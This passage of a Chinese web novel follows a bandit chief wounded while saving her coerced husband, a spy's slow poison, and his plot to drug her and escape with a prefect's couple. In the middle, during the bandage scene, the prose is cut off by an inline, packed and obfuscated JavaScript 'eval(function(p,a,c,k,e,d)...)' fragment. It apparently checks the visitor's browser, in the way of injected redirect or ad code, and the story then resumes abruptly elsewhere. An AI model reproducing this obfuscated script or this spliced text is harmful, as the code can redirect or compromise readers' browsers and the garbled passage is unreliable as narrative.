柳锐神色平静,没有半点疼痛时的表情,她看见顾清脸上浮现出一种难以置信的震惊,愣在原地怔怔盯着她,除此之外,他身上没有任何异样,也没有鹰爪留下的痕迹,确认他没受伤,柳锐才收回目光向前倾斜。 “大当家的!” 顾清动作僵硬地伸出手去扶,只是反应得太过迟缓,伸出的手连柳锐衣角都没有碰到,万幸冲上来的老念一把抓住她。 “快来扶大当家的,赶紧送她回去。” 老念急匆匆架着柳锐支撑住,一步浅一步深地带她离开,剩下的人围着柳锐乱嗡嗡一团,谁都顾不上谁,顾清颤抖着指尖擦拭脸上的血迹,鬼使神差地跟在了后面,只是很快他便瞥见人群最后方的小黑悄然朝他做了个“停下”的手势,看她面上的意思,是想趁这个节骨眼同他说几句话。 是听内应的,还是去看柳锐的伤情? 顾清眼中闪过丝犹豫,最终还是选择逐渐放慢脚步。 —— 并州,官府。 “我们的人已经好几日没有传回消息了,该不会出什么事了吧。” 不到半个月的功夫,顾富已经瘦了一大圈,面容憔悴地坐在桌前,她手上拿着的正是内应最后一次传回的消息:公子尚且安好,但计划失败,柳锐有所察觉,柳峰被捕! 顾富捏着那张纸条哀声叹气,在她一旁坐着神情严肃的二妹顾顺,两姐妹一齐陷入沉默中,片刻后顾富唰地站起身:“既然暗杀不成,那我现在就写信给母亲说明此事,让她调两万京军来踏平这龙头岭!” “你疯了不成,且不说京城的禁卫军由圣上的姑姑文王殿下统领,母亲难以调动,更不要提这么声势浩大的来,我顾家脸面还要不要了,你想全天下都知道顾清被强娶的事么?而且柳锐何等残暴,她若听到这事,一怒之下杀了顾清,届时我们就只有收尸的份!” “现在他在柳锐手上,只怕已是生不如死受尽耻辱,倒不如…” “住口!不要再说下去!” 二人争辩起来,正巧这时有人来报:“大人,薛良贩卖私盐一案出问题了。” 争吵顿时戛然而止,此事关系到顾富升迁,因此她赶紧结束眼前的话题看向来人:“出了什么岔子?” “回大人的话,薛良被捕,在狱中供出她每年回平城表面是省亲,实则是伙同平城知府合作贩盐,并一起分赃…” “这是什么坏事,抓到同伙不是叫我立功么。”顾富一脸纳闷:“平城知府与我顾家半点关系没有。” “问题是平城知府提前知道了消息,昨夜就带着自己的夫郎跑了。” “什么?” —— 老念这一回被急得跟热锅上的蚂蚁似的,在她的记忆里,柳锐从小到大只有一次受到过这样重的伤,那是柳峰下山赌博却被做局,把老寨主的祖传玉镯都赔了进去,老寨主派几波人交涉无果,于是才十几岁的柳锐便单枪匹马闯进赌坊走了一趟,带着玉镯回来,身上全是血窟窿。 真没想到这种事竟然还有第二次。 “万幸没有伤到心脏,敷上金疮药,每晚按时换包扎伤口的纱布,不碰水不吃辛辣,一个月后也就能提刀了。” 郎中说的话令老念终于松口气,她舒展笑容送着郎中出去,等回来的时候,便看见原本正陷入短暂昏迷的柳锐已经醒了,侧躺在床,右手撑着头,虽然面色憔悴,但却一副云淡风轻的样子,完全不像受重伤的模样。 老念有些惊喜,给她挑了个苹果坐下削皮,边削边问她: “你怎么醒的这样快,现下伤口还痛么,方才你流的满地都是血,郎中说你可差一点就要去见阎王了。” “放心。”柳锐垂头看了眼被纱布包得严严实实的左肩,“这点伤我有数,死不了人。” 老念下意识为着这话皱皱眉,柳锐却是想起什么,环顾四周:“顾清呢,我记得他被吓坏了,他人在哪?” “他?”老念削苹果皮的手一顿:“我忙得晕头转向,没空管他,他也就没跟着回来,现下不知道在哪。” 柳锐顿时坐起身,老念怕她扯着伤口,赶紧又把她按回去:“整座山头上都有我们巡逻的山匪层层包围,他最多就是在山坡上吹会风罢了,哪都去不成,只能乖乖回来。” “…那几个被鹰抓伤的,现下如何?” “都好得很,除了你。” 老念将削好的苹果递给她,神色复杂:“本来那鹰是冲向顾清的,你非要护住他,胳膊被捅个对穿,他却全连你的伤情都不关心一下,我不提,他也不主动跟回来,更不会坐在你床头等你醒来照顾你…” 说到这,老念担心自己说的太过惹柳锐不高兴,继而一停,叹口气:“一开始你只是给他送点东西示好,这我自是不会管你,可现在你受这么重的伤,付出半条命却什么回报都没有,他还是不在意你,这未免也太亏了。” 柳锐始终保持着沉默,神情却变得晦暗不明,徐徐伸手接过苹果,默默咬了一口咀嚼,像是走神,但又像是在思考。 老念见她不吱声,以为她是听进去了,趁热打铁:“寨子里喜欢你的男人多了去,不如我去给你找几个来纳侧夫,柔情蜜意温顺乖觉,都不会出错…” “这苹果挺甜的。”柳锐突然开口打断,端详了会手里的苹果:“你最好也尝一块,毕竟你方才那么辛苦削皮,不尝一块就亏了。” 她顺手拿过刀割下一块递给老念: “倘若削皮是付出,那苹果本身就是回报,它不主动进你嘴里,那你就自己咬它。” 春日的明媚只持续到太阳落山,入夜,山里又下去小雨,整座龙头岭都被潮湿阴冷的气息所包围,柳锐下午犯了会困,待睡醒时老念已经回去了,房里只有她一人,屋外雨势渐大,落在屋檐上顺着茅草尖往下滑,滴答作响。 柳锐没了睡意,披衣起身走到窗前,幽幽夜色里,顾清的房间已经亮起微弱的烛火,在黑夜里时不时闪烁一下。 原来他已经悄无声息回来了,柳锐眯了下眼,转身撑伞下楼,连门也不敲便径直闯进去。 “砰!” “谁?” 顾清迅速将手里的东西攥紧背至身后,警惕地朝不速之客看去,在看清是谁后,他眼中闪过丝异色,默默将手里的东西塞进身后被子里藏好,低着头问:“什么事。” 柳锐一眼扫过,顾清已经换上了稍有些单薄的睡衣坐在床前,他的头发是干的,膝边还有本摊开一半的书,看情形像是下雨前便回来了,一人在房内读书,享受一个静谧的夜晚,好像白天的事没发生似的。 想到这,柳锐就更不爽,把伞一撇,坐在桌前盯着他:“我受伤昏迷的时候,你在哪?” 顾清眉心微动,侧目移开视线:“在山坡上。” 柳锐皱了皱眉:“我是因为救你才受的伤,你好歹要关心一下你的救命恩人。” 这更让人生气了,他连装都不装的。 顾清没有像往常那样露出厌烦的眼神,但眼睛里也没太多波动,缓和了一下午,他似乎已经平静下来,垂眸静静道:“我的关心不会让你伤口愈合,也不会让你多块肉,既然如此,我的关心毫无意义,比起这个,你更需要郎中。” 话说到此,他抬眼扫了下面前的柳锐:“而且你还能下地行走,在我面前咄咄逼人,我想你的伤大约并不是很重。” 柳锐没有回答,盯着他看许久,不容商量地下令:“不是说关心无用么,可以,我不要你关心,我要你帮我换包扎的纱布,现在,立刻。” 若说关心是毫无意义的,那包扎总是有意义的吧,帮自己的救命恩人包扎伤口是情理之中,理应做到的事情。 顾清微微蹙了下眉,没有拒绝,缓缓站起身走过去,走到柳锐面前,提醒她:“我从没给人包扎过伤口。” “这事情简单,你不会,那我就教你,教一次你便会了。”柳锐说话间麻利地将自己外衣的一角掀开,她肩上的线条流畅,如今一大截都被纱布紧紧箍住,像束缚在一只猛兽身上的麻绳,过了一个下午的时间,纱布上渗出了血,点点殷红在白色纱布上分外显眼。” 看见这一幕,顾清下意识侧头避了下,柳锐瞥他一眼:“有什么不好意思的,赶紧去找镊子来,把它放在火上烫一下,再用它把现在的纱布挑开。” “…知道了。” 这还是第一次乖乖听柳锐的命令,顾清强忍着反感的情绪,有些生疏地按照她的指令做,待他用镊子挑开纱布时,一股浓烈的血腥味混着药味扑鼻而来,柳锐额前生出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳锐轻轻一推,就将他推至床上,随后挑起他下巴,不由分说地面对面俯身凑近,直视他眸子里的厌恶和畏惧:“救命之恩,亲你一口应该不过分吧?” “你…” 顾清面色一变,立刻伸手要推她,但柳锐轻松将他的手限制住,语气里带着冷意:“这已经很划算了,你可能不知道,我只干杀人的事,从不救人,老念今天还说我救你是做了亏本买卖,我不服,我太讨厌做亏本买卖了,我必须自己要回报酬来。” “我可以给你钱…” “你觉得我会缺这东西?告诉你,钱也好,权也罢,我对它们提不起一点兴趣,你身上唯一让我感兴趣的,就是你本人,救命之恩以身相许,这难道不对么。” 说话间她一手撑在了床上,让顾清在她面前逃无可逃,顾清看到她的手落在被褥上,忽而想到自己藏着的东西,眼中闪过一丝慌张,推柳锐的手一顿。 顾清身上的香气和温度让柳锐的心情好了些许,她看顾清死活不情愿,慵懒地给出了第二个选择:“你若不肯亲我也行,从今日起,你改口喊我妻主,人前人后都要喊,你若唤我妻主,我也不算白救你,你说呢?” 妻主二字意义之重大,是每一个男子从小都知道的,顾清神色冷下来,盯着她说:“你也没给我第二个选择,左右都是羞辱,逼我屈服于你。” 这很过分么?不就是一个称呼,他连称呼都不肯改?细想也是,这个人洞房之夜敢拿剪子划她脸,不肯改称呼也是预料之中。 柳锐看着他冷冰冰的,瞬间也没逼迫他的意思了,正巧这时院外突然有人喊:“大当家的,包子回来了!” “那你就先欠着我的情吧,等我以后想到别的回报法子了再说。” 柳锐懒懒起身,谁料顾清突然喊住她,拽着她的衣领,以迅雷不及掩耳之势凑近,用唇碰了一下她嘴角。 蜻蜓点水,那抹柔软好似来过,好似没来,柳锐摸了下自己的嘴,难以置信地看过去,看见顾清眼眶泛红,眼睛里是写不清的憎恶和耻辱。 “你想什么法子都是要羞辱强迫我罢了,你以为你强迫我亲你或是喊你妻主就能改变些什么吗,我的心又不是你的,你强迫我再多都没有用。” “现在满意了就赶紧滚,我不欠你的。” 14. 第十四章 在那之后的交谈,柳锐自己都有些迷糊记不清,等到她恍然回神的时候,才发现自己已经撑伞站在雨中,而顾清趁着她刚走就“砰”一声关上门,叫她碰一鼻子灰。 …罢了,包子回寨,眼下还有正事,过后再来找他算账。 “这男人长得怪白静。“ “二当家也艳福不浅喽。” 门外断断续续的交谈引起了柳锐的注意力,她走出院子,映入眼帘的是辆简陋牛车,牛车的车厢是四块木板,板子上堆满稻草,一个浑身被雨水浇透的可怜男人正坐在稻草堆里瑟瑟发抖,眼神怯生生,而包子正穿着件蓑衣护在牛车前安慰他:“别怕,我马上让人给你们找间空房歇息,大家都是好人,留你们过夜不成问题。” 包子的老相好简直是数不胜数,她是睡过即忘,对每一个都不太在意,这还是第一次见她维护一个男子,柳锐稍有些意外,在她身后突然问:“这就是你下山的收获?” 话音刚落,那牛车的稻草堆里又钻出一个尴尬的陌生女子。 “已经有主了?那有点难办啊。” “大当家你快别拿我开涮了。” 听见柳锐的声音,包子忙不迭抹掉脸上的雨水,拉着她就要往屋里走:“那是我回来的时候救下的一对妻夫,我看她们可怜,就带回来了。” “就这么简单?”柳锐一眼看穿包子的心虚,眼睛微眯:“见义勇为这种正得发邪的事,可不是你的行事风格。” “咳咳。”包子把柳锐拉到一边,低声说:“其实那男人以前和我同村,是我未婚夫,后来我不是被衙门诬陷杀人躲进山里了嘛,他就嫁给别人了,据说妻主是个商人,刚才在山脚下被柳峰寨子里的人抢了干粮细软,他妻主伤了腿,雨又越下越大,我不忍心看他这么苦才带回来的,她们住两天就走,不多留。” 柳锐没拒绝,神情淡淡:“你还挺念旧情。” “…先不提这个,咱们进屋说正事。” 待两人走远,才有看热闹的山匪嘀咕:“你说这回二当家下山这么久,怎么就只带回来对小妻夫,她会不会私藏了什么好东西?” “二当家不是那种人,再说了,你以为山脚下天天都有富商高官经过的?咱也不是回回都能大丰收的,小黑,你说对吧?” 一直盯着两人背影不吱声的小黑猛然回神,赔笑点头:“没错,你说的有道理。” 几人没察觉她的异样,又找了别的事边聊边回屋,唯独小黑眼中闪过丝忧虑,皱着眉心事重重。 —— 包子把湿漉漉的蓑衣脱了才坐下,开门见山:“那和柳峰有联络,名叫阿亮的小厮,她几日前果然逃了,但赌坊还在呐,我就在店里待了一整天,才从店里的常客那知道,她是赌坊管账家的远亲,直接走后门当的小厮。” “但其实事情压根没这么简单,我找到那个赌坊管账的家里去,拿刀搁在她脖子上逼着她说,才知晓这阿亮是个在半年前突然找上门的陌生人,给她塞了五十两银子,只为求个差事!管账的见钱眼开,就以远亲的身份把她带进去,至于她什么来历,管事一概不知。” 柳锐安静听着,给她倒杯热乎乎的茶水,包子嘿嘿一笑接过道:“要说还得是我有脑子,我好不容易寻到一个和阿亮有点来往的客人,这人打牌输个精光,我帮她还了债,聊天才知她竟是个画师,她帮我画了张阿亮的画像,说是有九成像。” 说话间,她从袖子里拿出个竹筒,柳锐将竹筒里的画像取出看了看,这阿亮是个放在人堆里毫无辨识度的,长相普通,身型偏瘦。 能够查到这一步属实不易,但是…柳锐将目光转至包子身上,迎着她期待的目光:“辛苦了,干得漂亮,只可惜这画像目前发挥不出什么作用。” “为什么?” 包子急得站起来,柳锐揉了揉太阳穴,有气无力提醒:“咱们要画像,不就是用来找人的么,那无非就是靠画像张贴通缉令或寻人启事,又或者拿来挨家挨户地搜查比对,找出相像之人,这是当地官府才能做到的事,我们龙头寨还没能力这么大海捞针般的寻人” 包子脸上的表情顿时变得一言难尽:“他爹的,还真是这个理。” 柳锐默不作声瞥她一眼:“多了解一点也是好的,来日总有用处。”她觉得这画像有值得研究的地方,但现下大抵是受伤后精力不足,无暇去细想。 线索到这戛然而止。 正事没得聊了,包子才忍不住感慨,说些闲话:“大当家,没有鹰帮助内应传话,我这一路都走得平坦顺利,恐怕她现在跟热锅上的蚂蚁一样着急,急也没用,我们知道的线索越来越多,没多久就能生擒她,届时我要拿她去喂老虎,让寨子里所有人都知道做内应的下场。” “没有那么容易。” 柳锐神色冷静地触过自己受伤的肩膀:“她已经开始反击了。” —— “男子要为妻主守身如玉,和妻主以外的女子有肌肤之亲是浪荡的男子才会做出的事情,有那样的儿子一定是母父的耻辱,顾清是个好孩子,绝不会让母亲感到耻辱的,对不对?” 严厉又温和的话语不断在梦中回响,顾清迷迷糊糊间醒来,才发觉自己的枕头上湿了大片,他大约是哭过,遇上那样的事谁能不哭呢,亲自己不喜欢的人就是场噩梦,他真恨柳锐的所作所为,但是想到她血肉模糊的肩膀和飞溅到他脸上的血滴,他却又有一丝迷茫,犹豫间藏好小黑送给他的东西。 屋外的雨已停,山中空气清新,洗漱过后的顾清并没有事做,只好找来砚台磨墨练字,不久有人叩门,他以为是柳锐,装作听不见,直到门外传来个怯怯的声音:“屋里有人么,我听说这里住着位夫郎,所以想来借身换洗的男装,除此之外没别的意思。” 听见是个男子的声音,顾清练字的动作一停,这才起身开门,屋外站着个长得白静的年轻男子,穿着身皱巴巴的 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男子话语一噎,正巧这时给柳锐送药的下人来到他窗前:“顾夫郎,大当家的伤口似乎有些感染了,她正发热,点名叫你过去照顾。” “顾夫郎,你听得到吗?” “顾夫郎?” 外头问了许多声,见顾清一声也没应,只好怏怏走开,顾清在衣柜中找出几身衣服递给那男子,神色依旧平静:“拿去试试,看是否合身。” 男子一时傻了眼,片刻后赶紧接过衣服,边换边问:“你就这样拒绝了,会不会不太好?” 顾清很讲礼数地转身背对着:“没有什么不好,她昨天刚羞辱过我,眼下不会轻易生气,怎样,衣服还合身么?” “合身的,多谢你啊,没有你,我真不知上哪找身能穿的衣服…” 说话间,一块木牌从他里衣中掉出来,啪嗒一下落在地上,他看见木牌,脸上的表情一滞,想要弯腰去捡,却不想顾清先一步捡起来,看过木牌后眉心微动:“这是平城知府家的腰牌。” 房间内原本还算融洽的氛围顿时凝固,那男人神色紧张起来,却还是勉强地笑着解释:“我看这东西做工精良,才捡来带在身边的。” “平城知府也算是高官了,会随意乱丢自家的腰牌么,不如我把这腰牌给柳锐,你看如何?” 提到柳锐的名字,男子瞬间变了脸色,扑通跪在地上:“柳锐抢劫了无数高官富贾,她若知道我妻主是知府,准会勒财索要命的,我们还不想死,我瞧你是个心善的人,求求你,千万别告诉她,千万别…” 这块腰牌宛若一条新的路径,叫顾清看到另一种可能,他眼里闪过一点希冀,默默捏紧那块腰牌。 “我可以不说。” 男子如释重负,刚松口气要感激,顾清却话锋一转: “前提是你们帮我一个忙。” 15. 第十五章 柳锐受伤后也不过一晚,“寨里有细作内应”这个不算秘密的秘密被完全戳破,山匪们都知道有人通过鹰向山脚下传递消息出卖龙头寨,大当家为了切断这条消息流通的渠道,才将寨中所有鹰集中管理,却不料发生意外。 至于谁才是内应?有人暗戳戳猜是小六,毕竟只有小六的鹰飞走了,不在场的人不相信她的鹰是疯了,都觉得是她下的命令,因此一传十,十传百,眼见着就传遍整个山寨,而小六年纪轻脸皮子薄,不知道如何解释,只能闷头吃这个亏。 “原本只有你我和包子知道内应的存在,但大家伙不是傻子,看着我们做的那些事也就猜出个七七八八。” “你觉得内应会是小六吗?其实我怀疑过,她会不会是害怕你通过鹰探查出些什么来,又或者是真有什么她认为必须要传达的情报,所以才演这么一出,让鹰逃走。” 老念来看柳锐伤势恢复的如何,顺带提及这件事,柳锐因为伤口有感染而发热,因此只能无聊地坐在床上把玩短刃,一脸若有所思:“不排除这样的可能,但我更趋向于她在替真正的内应吸引目光,这并非是她本意,在鹰被我囚禁的时候,内应没法传消息,更有暴露的风险,于是想找人做替罪羊,选中的没准就是小六。” “你说的也颇有道理。”老念苦笑一声,“越查下去越复杂,也不知道何时才是个头啊…你还在养伤,不宜太过操劳,先不与你说这些烦心的。” 话毕,她从袖子里掏出个荷包递到她手上:“拿去看看。” 柳锐漫不经心地接过,刚打开便愣了瞬,里面竟是只金镶玉手镯,就是被顾清砸坏的那只。 “这是柳老寨主送给你和你夫郎的礼物,你托我给你修好的东西,它修起来不容易,半个月才终于修到这个程度。” 柳锐拿出来仔细端详,顿时眼前一亮:“想不到这么多年了,你金缮的手艺还是一流,做这种细活竟还做的这么漂亮。” 浓郁的绿被金色遮挡住破碎的地方,在日光下有种熠熠生辉的感觉,柳锐没多时就唤了个人来:“你去把顾清叫来,就说我身体不适,要他过来照顾。” 下人得了命令转身离开,趁着这闲工夫,柳锐把昨日包子给她的画像递给老念:“这是昨晚包子带回来的东西,画的就是那个联络柳峰的小厮阿亮。” “看画能看出什么文章…” 老念接过画像观察起来,突然就不吭声,柳锐则拿着玉镯等顾清,谁料等了半天,只等回那面色尴尬的下人,支支吾吾和她回答:“大当家,我说清情况了,但顾夫郎不肯理我,任凭我怎么说都不开门。” 难不成还在为昨天亲她的事生气 柳锐皱着眉就要起身下床,老念赶忙放下画把她拉住:“你现在要再把这镯子送给他?” “那不然呢。” 她的模样落在老念眼里是分外执拗,老念没由来地叹气,语重心长起来。 “这是你成亲用的东西,一送出去便是定情信物,他不喜欢你,哪里肯戴上?就算你强迫他戴上了,他也不会爱惜,说不定恨你恨太深了就再砸一次,这镯子要是再坏,那就是把我祖宗从土里挖出来给你修都修不好的。” 老念将画收到自己的袖子里,边说话边把她往床边一按,迫使她坐回去, “你得慢慢来,在他需要你对他好的时候付出,在他不需要的时候就别乱做事,否则就是弄巧成拙,他只会更反感。” 柳锐不吭声,盯着玉镯看了会,才找个荷包收进去:“你说的有理,我等以后再送给他。” 老念看到她把玉镯收起来才放心,作为一个在红尘里滚过几遭的人人,她觉得顾清和柳锐绝不可能长久的,既然不能长久,玉镯就不属于顾清,自然就不该再给他。 至于这个以后再送…来日方长,谁能说的准未来会发生什么呢? 柳锐的身体底子好,没养几日便可下地行走,至于寨里那些传小六是内应的谣言,她用了极为强硬的手段来解决,凡是传谣被她听见的,一律杖责四十,若有人检举揭发,便到她那赏一根金条做奖励。 “龙头寨是一个的家庭,捕风捉影的猜疑就是在伤害自己的家人,我不会允许这样的事发生,更何况再这样议论下去,人心惶惶,大家就要起内讧了,这恐怕也是内应的目的之一,我不会让她如愿,我要用态度让所有人知道,我相信小六,只有我表态,她们才会明白未来该如何行事。” 大多山匪都以柳锐的决定做自己的准则,因此对小六跟从前没什么两样,这件事也就逐渐平息下来,没过几日,包子带回来的那对小妻夫便也说养伤养的差不多,要下山去忙正事了,只是临行前想和包子还有柳锐一起吃个午饭。 为着和那小夫郎最后吃顿饭,包子痛快地应下这事,柳锐则完全是看在包子的面子上同意了,只是她到包子的住处后才发现顾清竟然也在,一个人平静地坐在角落里,坐姿端庄,从容疏离。 “这是稀客,你竟能请得动他。” 柳锐看见顾清便一脸不爽,昨日拿自己为他受伤的事强迫他再给她换药,顾清却是无动于衷:“我已经还过你的救命之恩了,你现在怎样跟我没关系,我巴不得你更疼一点,没准就能话少些。” 想到此处,柳锐冷哼一声,不由分说地坐他旁边,像是在宣誓什么主权,顾清眼中浮出些厌烦,身体下意识往边上挪了挪。 “我哪里请得动他,是细辛叫他,他才肯来的,大抵都是男人才聊的来吧。” 细辛就是那个夫郎的小名,包子在她耳边小声解释,而柳锐只不断打量顾清,他今天穿的朴素,纤细的手腕上什么也没有,柳锐看见就心痒痒,盯着他的手直看,顾清察觉到了她的视线,将手以袖子遮住:“你想干嘛?” “很显而易见,我在看你的手,你手上什么也没有,怎么,你不喜欢手饰么。” 顾清瞥她一眼:“喜欢,但在这里我没必要戴,在你面前,越好看恐怕就越危险。” 柳锐刚想反驳,那对小妻夫便很不合时宜地 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柳锐不是很饿,她托腮看着顾清,见他夹了一筷子菜后就再也没碰过,便指着他的菜对下人吩咐:“把这些拿去过一遍清水再送上来。” 趁着柳锐面对下人的空隙,顾清不着痕迹地抬眸看了看对面的细辛,随后伸手端起面前的茶盏抿了一口。 “我们在山下就一直听说柳寨主您的事迹,说您十来岁就一人闯黑市赌坊,成年后就接管一整个山寨,行侠仗义令人敬佩,却不想您这样的人也有如此细致入微的时候,竟然对自己的夫郎这么好。” 听见对面突然插话,柳锐这才抬起头正眼看了看这小夫郎,细辛应该也算是美人,只是有顾清在侧,细辛这样的也就变得十分普通,不过柳锐没把心里话说出口,只是见他夸赞自己,点点头:“对自己的夫郎好不是应该的么,不然娶夫回来还有什么意义。” 顾清放下手中的茶盏,面无表情,什么也没说。 “咳咳,您说的对。”细辛陪笑着点点头,接着一脸感激:“说起您的夫郎,我真要好好感谢呢,若不是他肯送我几身衣服穿,恐怕我就挨冻受寒了,只可惜我们如今被洗劫一空,身上什么也没有,没法拿出礼品以表谢意。” 话到这里,他突然斟满两杯酒,举着其中一杯来到顾清面前:“顾夫郎,你于我有恩,这几日交谈,我早把你当好友了,可否让我在临走前敬你一杯?” 顾清抬头看酒杯,说了句可以便伸手接过,只是他送到唇边浅浅啜饮了一口,就微微皱眉,柳锐看在眼里,轻声告诉他:“嫌太辣了就别喝,不要为难自己。” “这是别人敬我的酒,不喝是失礼。” 山寨就是山寨,哪讲那么多礼数,柳锐想直接把他的酒拿来倒掉,却不料顾清用指尖将酒杯推到了她的面前,神情淡淡,语气像是在说件极其稀松平常的事:“你不是要对夫郎好么,在山下的宴会上,往往都是妻主帮夫郎喝酒。” “既然如此,这杯我喝不掉了,你帮我喝吧。” 16. 第十六章 这还是顾清第一次主动开口要她帮忙。 柳锐颇为意外,将视线落在他的面上,顾清的嘴唇因为抿过酒而有些湿润,琥珀色的眼眸里呈着点轻蔑,像在问她:你不是自诩对夫郎好么,该不会区区一杯酒都不敢替夫郎喝吧? 端详片刻后,柳锐悠然自得地拿起酒杯:“可以,但是——”她刻意拉长音调,俯身与顾清四目相对:“既然是要替夫郎喝,那你先喊声妻主叫我听听。” 周遭的声响一齐戛然而止,房间里静得出奇,顾清面色一变,皱着眉低头避开她视线,沉默许久才冷冷地开口:“妻…” “跟你开玩笑的,好好吃饭吧,别又说我羞辱你。” 不等他说完话,柳锐便将酒杯送至唇边一饮而尽,随即反手将酒杯倒扣桌面,动作干净利落,顾清愣了下,像是没预料到她的反应,用余光不断打量柳锐,见她什么都没提,才神色如常地垂下头继续用饭。 这段小插曲过后,屋里的气氛明显比刚才要活跃不少,包子本就爱喝酒,有了柳锐带头,她自然喝个不停,边喝还不忘向细辛的妻主敬酒:“我和细辛原是一块长大,现在看他过得这么幸福,就知你待他不薄,我可是把他当半个弟弟的,他能嫁给你这么好的妻主,我也高兴,我敬你一杯!” 那女子的脸上闪过丝尴尬,举着酒杯回敬。 “只喝一杯怎么行,待会你们就要下山了,以后还不知有没有喝酒的机会,再来!” 二人你一杯我一杯,包子喝的忘乎所以,没有要罢休的意思,细辛的妻主却是酒量不太好,几杯下肚便开始脸红,说话也有点不太利索,就在包子打算叫下人给他妻主来一碗解酒汤的时候,另一边突然响起一声清脆的瓷杯破裂声。 “啪嗒。” 众人望过去,竟然是柳锐手里的酒杯掉落在地,她难得有些昏昏欲睡,一手撑头半眯着眼。 “她喝醉了,这在饭桌上多少有些失礼,我带她回去,你们继续。” 没等包子开口,顾清便站起身率先做出决定,包子有些意外地眨了眨眼,最后只能干巴巴说声好,待他搀扶着柳锐起身后离开房间后,她才有些奇怪地小声嘟囔:“太阳打西边出来了,这男人竟然还有主动的时候…嘶,不对啊,大当家酒量怎么变这么差了。” 屋外本是阳光灿烂,但不知何时多了几层云,一吹风便让人觉得阴冷,柳锐像是逐渐失去知觉,身子却越来越沉,顾清越扶越吃力,最后不得不像拐杖一样架着她,像是和她相互依偎,她身上的气息混合着淡淡的酒气萦绕着他,让顾清有些厌烦地别过脸,挣扎着和柳锐保持最后的距离。 “哎哟,这美人竟然有肯和大当家靠这么近的时候,看来她俩关系也没那么差。” “大当家这是喝醉了?要不要我们帮忙扶?” 路上遇见几个刚用过午饭,出来闲散的山匪,顾清当然恨不得把柳锐抛给她们,他一点都不想多管这个麻烦的女人,可他担心这些人太早看出什么端倪,因此只能拒绝:“不用。” (数日前) 山坡上风声渐起,小黑一边警惕周遭发出的任何一点声响,一边朝顾清行礼。 “公子,我是顾大人身边的暗卫,代号黑影,如今的任务就是让您安全下山,现下柳锐被鹰所伤,时机难得,我交与你一样东西。” 小黑说话间递上一个袖珍药瓶:“这是一种新制的慢性毒药,服用后可彻底损伤人体五脏六腑,人会越来越虚弱却查不出缘由,一个月后便会吐血暴毙,这毒药极其珍贵,仅此一颗,望公子好生收起来,别轻易弄丢了。” 洁白的瓷瓶里装的是杀人的毒药,顾清接过药瓶,隐隐猜出她的意思:“这是给柳锐的?” “不错,我本想亲自给柳锐下毒,但谁知她行事格外谨慎,我连插手她日常饮食的机会都没有,本以为这颗药不会有用武之地,但现在却有了转机。” 小黑越说越兴奋:“转机就是您,柳何等凶残薄情,却肯为您挡鹰,我想她一定动了真心,这种时候,她对您没有提防,我无法触碰到她的一日三餐,但您却有机会,她服药后一个月才会死,不会有人怀疑到您身上,届时只要柳锐暴毙,龙头寨溃不成军,我就能让您安全离开,您的姐姐也能立一桩大功!” 出乎小黑的意外,顾清竟没有立刻点头,眼中浮现出一种难言的犹豫和疑惑:“我们…真的要杀柳锐么,她刚刚救了我一命。” 小黑差点就要忘了,顾清只是个尚未出阁的公子,不是什么顾家派来配合她的暗杀老手,他会被他自己的思想所支配,并不完全听命于她。 看到他的犹豫不决,小黑脸上的笑容渐失:“公子,她若不死,你如何离开山寨?” 顾清眸子颤动了片刻,捏紧药瓶:“柳锐同我承诺过,三个月后放我下山。” “杀人犯的承诺怎么可以轻易相信?一切瞬息万变,她若想控制住你,易如反掌,公子,万万不可心软!” 杀还是不杀?难道就没有不杀她,却可以离开这里的办法吗? 直到平城知府妻夫俩出现,他看到了希望,他可以藏在她们的牛车里下山,细辛似乎和包子关系匪浅,有这层关系在,她们离开会简单得多,而他走后,内应也没有再危险潜伏下去的必要,可以自己悄然离开,唯一的问题是,如何逃过柳锐的监视?毕竟她喜欢缠着他,这点格外令他烦恼。 所以他又找机会去见了次小黑,问她道:“这枚毒药,若是只服用一半会有什么后果?” “那就达不到药效,服毒者顶多会昏睡几日,经脉受损虚弱半年。” 这样便足够了,但如何让柳锐喝下它?来路不明的东西,她定不会轻易入口,顾清选择以身入局,万幸此毒还有解药,若在一炷香的时间内饮下解药,他便可安然无恙,于是细辛端来那一盏酒,他在柳锐面前啜饮一口,随后又悄然服下混在茶水中的解药… “砰。” 一声闷响后,柳锐毫无所觉地躺回床上,药效起作用后的睡眠似乎并不舒适,她在睡梦中似有似无地皱了皱眉,顾清擦过自己额前的汗珠俯身看着她,声音冰冷:“好好受着,这是你应得的。” “吁——” 鸟鸣声传来,是柳锐的鹰正停在窗前,他担心鹰过分吵闹会引人注意,便想去关窗,谁知刚起身,动作却突然受阻,顾清陡然一惊,猛地回头,却发现是柳锐不知何时攥住了他的手腕。 “柳锐?” 顾清小心翼翼地俯下身,凑近试探,柳锐紧闭着双眼,呼出的气息均匀,显而易见,她还在睡梦中,只是轻声呢喃着说了句梦话:“不许…走…” 明知那是梦话,顾清还是反问她:“你凭什么命令我,我又为什么要待在你身边?” “你只管你开心,却从来没问过我的意见,我要回家,那里有许多人,任何一个都比你重要,被迫和你相处的每一日,我都恨不得你快点死。” 兴许是知道自己就要离开她,顾清终于多说了几句,他强忍住自己胸口涌上来的恨意和委屈,干脆利落地将柳锐搭在他手腕上的手拿下来,随后决绝地走出屋子。 昏睡也好,经脉受损也罢,这是她最后应有的惩罚,而他也已仁至义尽,给这荒唐的强娶一个终结,从此,他绝对不要再见到她第二次。 —— “牛车我已经帮你们修好了,给车厢盖了个顶,好歹能遮风避雨,我也不知道你们现在下山要多久才能回家,所以我给你们准备了五日的干粮和水,还有,你们的东西不是都被柳峰她们抢走了么,我这有一百两银子,你收好它,算我送你的。” 包子喝过酒,脸通红,她拿出两个鼓囊囊的荷包塞到细辛手里,细辛像是有点不好意思,但还是收下了钱,小声道:“包子姐,多谢你。” “谢什么,当年我本就与你订婚,离婚期就差几日,若不是丧尽天良的官府诬陷我杀了我家小厮,我们后来也不会…” 包子说到此处看见细辛很难为情,突然心头一酸,止住话茬,她家原是镖局,她常常外出,都是细辛给她缝衣裳补鞋子,却不想今非昔比,她被陷害入狱,出逃后上山为匪,而细辛嫁与她人,成了别人的夫郎。 “罢了,不提这些,你妻主呢?”包子赶紧转移话题,细辛这才回答她:“她有些醉了,我把她安置在牛车里,等着打完招呼就走。” 